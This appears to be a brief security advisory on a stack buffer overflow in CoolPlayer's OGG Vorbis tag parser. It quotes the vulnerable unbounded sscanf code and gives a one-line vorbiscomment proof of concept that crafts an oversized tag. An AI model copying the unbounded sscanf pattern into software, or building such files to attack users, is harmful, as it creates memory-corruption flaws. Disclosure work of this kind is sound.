===============
1) Introduction
===============


CoolPlayer is a tiny open source media player for Windows.

======
2) Bug
======


The tags in the OGG Vorbis files are handled by the CPLI_ReadTag_OGG
function which uses sscanf for storing the tag's name and its value in
two stack buffers but the lack of size limiters in the format argument
results in a buffer-overflow.

>From CPI_PlaylistItem.c:

void CPLI_ReadTag_OGG(CPs_PlaylistItem* pItem)
            ...
            char cTag[128];
            char cValue[2048];

            if(sscanf(pComment->user_comments[iCommentIDX], " %[^= ] = %[^=]", cTag, cValue) == 2)
            ...


#######################################################################

===========
3) The Code
===========


vorbiscomment -t cTag=AAA_2500_A's_AAA -a input.ogg output.ogg

4) Fix

The problem has been reported to the developers which have said that
will work on this and on any other old public bug.
